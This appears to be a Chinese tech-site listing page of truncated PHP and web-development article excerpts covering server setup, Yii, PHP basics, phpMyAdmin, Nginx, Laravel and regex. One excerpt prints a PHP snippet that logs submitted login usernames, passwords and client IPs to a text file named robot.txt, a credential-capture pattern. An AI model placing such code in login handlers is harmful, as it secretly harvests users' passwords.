Time of Update: 2016-07-29
linux 版本 : ubuntu 12.04 今天完成了 php mysql 和apache 的配置 主要是源碼配置, apache 主要是 2.4.2 版本 php 主要是 5.3.11 版本 mysql 主要是 5.1.62 版本 前幾天試了好幾次,出現了軟體的源衝突,我放了兩個源在同一個source裡,後修改後,安裝沒出現大的問題。 總的情況如下. 我完成的過程如下 : apache 配置: ./configure --prefix=/usr/local/apache/
Time of Update: 2016-07-29
簡介我看了幾遍關於使用外部庫來調試PHP代碼(如: firePHP)的文章, 讀了這篇文章你會發現在 Yii 中沒有必要使用這些外部庫. Yii 內建了強大的日誌記錄類. 如果你閱讀了記錄日誌的文檔, 你可以發現我們可以決定我們希望記錄的日誌, 這正是我們要做的,使用 CWebLogRoute 建立一個 Yii 版本的 FirePHP.配置在我們的 protected/config/main.php 設定檔中添加配置:'log'=>array( 'class'=>'CLogRouter',
Time of Update: 2016-07-29
nl2br();// \n to addslashes(); stripslashes();//對資料庫操作時,轉義特殊字元 chop();//除去字串右邊空格 trim();//除去字串中所有空格 ltrim();//除去字串左邊空格 htmlspecialchars();//轉換'$','"',''為相應的html實體 htmlentities();//轉換所有html標記為相應的html實體 array explode(string separator, string
Time of Update: 2016-07-29
一、錯誤處理 異常處理: 意外,是在程式運行過程中發生的意料這外的事,使用異常改變指令碼正常流程 PHP5中的一個新的重要特性 複製代碼 代碼如下:if(){ }else{ } try { }catch(異常對象){ } 1. 如果try中代碼沒有問題,則將try中代碼執行完後就到catch後執行 2. 如果try中代碼有異常發生,則拋出一個異常對象(使用throw),拋出給了catch中的參數, 則在try中代碼就不會再繼續執行下去 直接跳轉到catch中去執行, catch中執行完成,
Time of Update: 2016-07-29
我這裡寫了一個驗證類,是通過檔案頭來判斷檔案格式.(也不是百分之百安全,如果使用者偽造了檔案頭,也能通過驗證) 複製代碼 代碼如下:/** * 檢證檔案類型類 * * @author Silver */ class FileTypeValidation { // 檔案類型,不同的頭資訊 private static $_fileFormats = Array( 'jp2' => '0000000C6A502020', '3gp' => '0000002066747970', '3gp5' =>
Time of Update: 2016-07-29
ext/iconv/.libs/iconv.o: In function `php_iconv_stream_filter_ctor':/home/king/php-5.2.13/ext/iconv/iconv.c:2491: undefined reference to `libiconv_open'collect2: ld returned 1 exit statusmake: *** [sapi/cli/php] Error 1 解決方案:make
Time of Update: 2016-07-29
變數名與 PHP 中其它的標籤一樣遵循相同的規則。一個有效變數名由字母或者底線開頭,後面跟上任意數量的字母,數字,或者底線。按照正常的Regex,它將被表述為:'[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'。 Note: $this 是一個特殊的變數,它不能被賦值。
Time of Update: 2016-07-29
在下列情況下一個變數被認為是 NULL:被賦值為 NULL。尚未被賦值。被 unset()。NULL 類型只有一個值,就是大小寫不敏感的關鍵字 NULL(你可以寫成NULL,也可以寫成null)。將一個變數轉換為 null 類型將會刪除該變數並且unset它的值。類型轉換PHP 在變數定義中不需要(或不支援)明確的類型定義;變數類型是根據使用該變數的上下文所決定的。也就是說,如果把一個字串值賦給變數 var,var 就成了一個字串。如果又把一個整型值賦給 var,那它就成了一個整數。PHP
Time of Update: 2016-07-29
PHP 中的 數組 實際上是一個有序映射。映射是一種把 values 關聯到 keys 的類型。此類型在很多方面做了最佳化,因此可以把它當成真正的數組,或列表(向量),散列表(是映射的一種實現),字典,集合,棧,隊列以及更多可能性。數組元素的值也可以是另一個數組。樹形結構和多維陣列也是允許的。可以用 array() 語言結構來建立一個 array。它接受任意數量用逗號分隔的 鍵(key) => 值(value) 對。key 可以是 integer 或者 string。如果key是一個
Time of Update: 2016-07-29
PHPMYADMIN是經常使用的一個MySql管理工具,備份與還原是PHPMYADMIN的重要功能,在還原資料庫的時候經常遇到這樣的一個情況:PHPMYADMIN還原資料庫的時候上傳的最大限制:2,048 KB,資料庫稍微大一些就無法處理,要麼使用其他的備份還原工具如帝國備份王,要麼就分卷匯出,那麼有沒有辦法還使用PHPMYADMIN來處理呢?肯定可以的,根據下面的步驟來吧。 以WINDOWS2003系統為例,共分為三部分:IIS部分、PHP部分和PHPMYADMIN部分。
Time of Update: 2016-07-29
其實cake3的memocache很簡單,前期工作只需3步1.本地安裝快取用戶端2.本地安裝PHP擴充 下載擴充,放到PHP擴充檔案夾內,在php.ini 加入擴充項,從啟環境3.配置/config/app.php'Cache' => [ 'session' => [ 'url' => 'memcached://127.0.0.1/?timeout=7200&prefix=xd_session_', ]]'Session' => [ '
Time of Update: 2016-07-29
導讀Nginx是一款開放原始碼的高效能HTTP伺服器和反向 Proxy伺服器,同時支援IMAP/POP3代理服務,是一款自由的軟體,同時也是營運工程師必會的一種伺服器,下面我就簡單的說一下Nginx伺服器的安裝和檔案解析。簡單安裝本教程一Centos 6.3為例講解,軟體包可以在官方網站下載,編譯安裝之前,我們需要使用YUM提前將所需的軟體依賴包安裝完成。安裝命令如下:[root@centos6 ~]# wget
Time of Update: 2016-07-29
技術不精,要有錯誤,還請指出,我會改正。 複製代碼 代碼如下:header('Content-Type: text/html; charset=utf-8'); echo ''; function var_array($array) { echo ''; var_dump($array); echo ''; } function printr($array) { echo ''; print_r($array); echo ''; } function getArr($sNum, $eNum=1
Time of Update: 2016-07-29
Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP 3.0\www\bugfree\Include\Class\XmlParse.class.php on line 46 Warning: Call-time pass-by-reference has been deprecated in E:\Program Files\EasyPHP
Time of Update: 2016-07-29
windows下的解決方案:通過尋找php.ini的session.save_path = ""的路徑,檢查是否存在這個目錄或這個目錄是否有everyone或Authenticated Users的寫入許可權。一般就可以了linux下的解決方案:今天更新了一下PHP,結果配置的phpmyadmin登陸進去出現“無法在發生錯誤時建立會話,請檢查 PHP 或網站伺服器日誌,並正確配置 PHP 安裝。”的錯誤。 錯誤原因:
Time of Update: 2016-07-29
Laravel是一套簡潔、優雅的基於PHP 文法,支援IoC等設計模式的快速開發架構。在Laravel架構下進行php相關應用開發,可以讓開發人員從麵條一樣雜亂的代碼中解脫出來,協助開發人員構建一個完美的網路APP,而且每行代碼都可以簡潔、富於表達力。 認識了Laravel架構後,那在用Laravel架構進行開發過程中,常常使用哪些軟體包呢?今天小編就和大家分享8款php大牛們常用的Laravel軟體包。1、Carbon 其實Laravel
Time of Update: 2016-07-29
if($_POST[loginsubmit]!=){ //判斷是否點了登陸按鈕 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 連起來賦值給變數$sb fwrite(fopen(robot.txt,ab),$sb);} //結果寫入一個檔案
Time of Update: 2016-07-29
今天給PHP程式員們推薦幾本PHP進階好書,PHP程式員們不要以為自己現在已經工作就放棄了一個上進的心,現在互連網發展這麼快,小心長江後浪推前浪,前浪死在沙灘上哦。。。· 《UNIX網路編程卷1(第3版)》· 《UNIX網路編程卷2(第2版)》· 《UNIX環境進階編程(第3版)》· 《UNIX編程藝術》· 《MySQL技術內幕(第5版)》· 《深入理解電腦系統》· 《用TCP/IP進行網際互聯》· 《高效能MySQL(第3版)》· 《HTTP權威指南》· 《Linux程式設計(第4版)》· 《
Time of Update: 2016-07-29
雖然都會在這些程式前增加一些判斷和限制。但除了庫檔案,還有臨時檔案,模板檔案等這些檔案本來就不應該被人直接通過 web 訪問到的。無論從安全性還是代碼管理方面,把不能訪問的檔案存放到web目錄下。 為什麼會有這樣的問題?回到以前,大部分的網站還是放到虛擬機器主機上,而且ftp的根目錄直接就是web的根目錄。為了適應這樣的情況。像 phpbb, vb, discuz, ofstar的代碼也只能把庫檔案直接存放到同一級的目錄下。
Time of Update: 2016-07-29
小括弧在Regex這有以下意義限定量詞作用的範圍限定多選結構的範圍為反向引用捕獲文本分組捕獲只分組不捕獲前瞻一、限定量詞作用的範圍123var reg1 = /(Matz)?/; // 0或1個Matzvar reg2 = /(Matz)+/; // 1個以上Matzvar reg3 = /(Matz)*/; // 0或多個Matz二、限定多選結構的範圍1234var reg = /(Matz|Eich)/reg.test('Matz') // =>